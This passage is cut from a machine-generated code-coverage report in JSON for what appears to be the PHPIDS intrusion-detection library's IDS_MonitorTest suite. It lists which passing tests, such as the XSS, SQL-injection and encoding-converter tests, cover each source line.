class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel426": { - "header": "35 tests cover line 426", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel428": { - "header": "35 tests cover line 428", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel437": { - "header": "35 tests cover line 437", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel451": { - "header": "35 tests cover line 451", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel452": { - "header": "1 test covers line 452", - "body": "<ul><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel453": { - "header": "1 test covers line 453", - "body": "<ul><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel462": { - "header": "1 test covers line 462", - "body": "<ul><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel463": { - "header": "1 test covers line 463", - "body": "<ul><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel494": { - "header": "1 test covers line 494", - "body": "<ul><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel495": { - "header": "35 tests cover line 495", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel509": { - "header": "35 tests cover line 509", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel510": { - "header": "3 tests cover line 510", - "body": "<ul><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel511": { - "header": "3 tests cover line 511", - "body": "<ul><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel513": { - "header": "35 tests cover line 513", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel515": { - "header": "35 tests cover line 515", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel516": { - "header": "35 tests cover line 516", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel517": { - "header": "35 tests cover line 517", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel518": { - "header": "35 tests cover line 518", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li 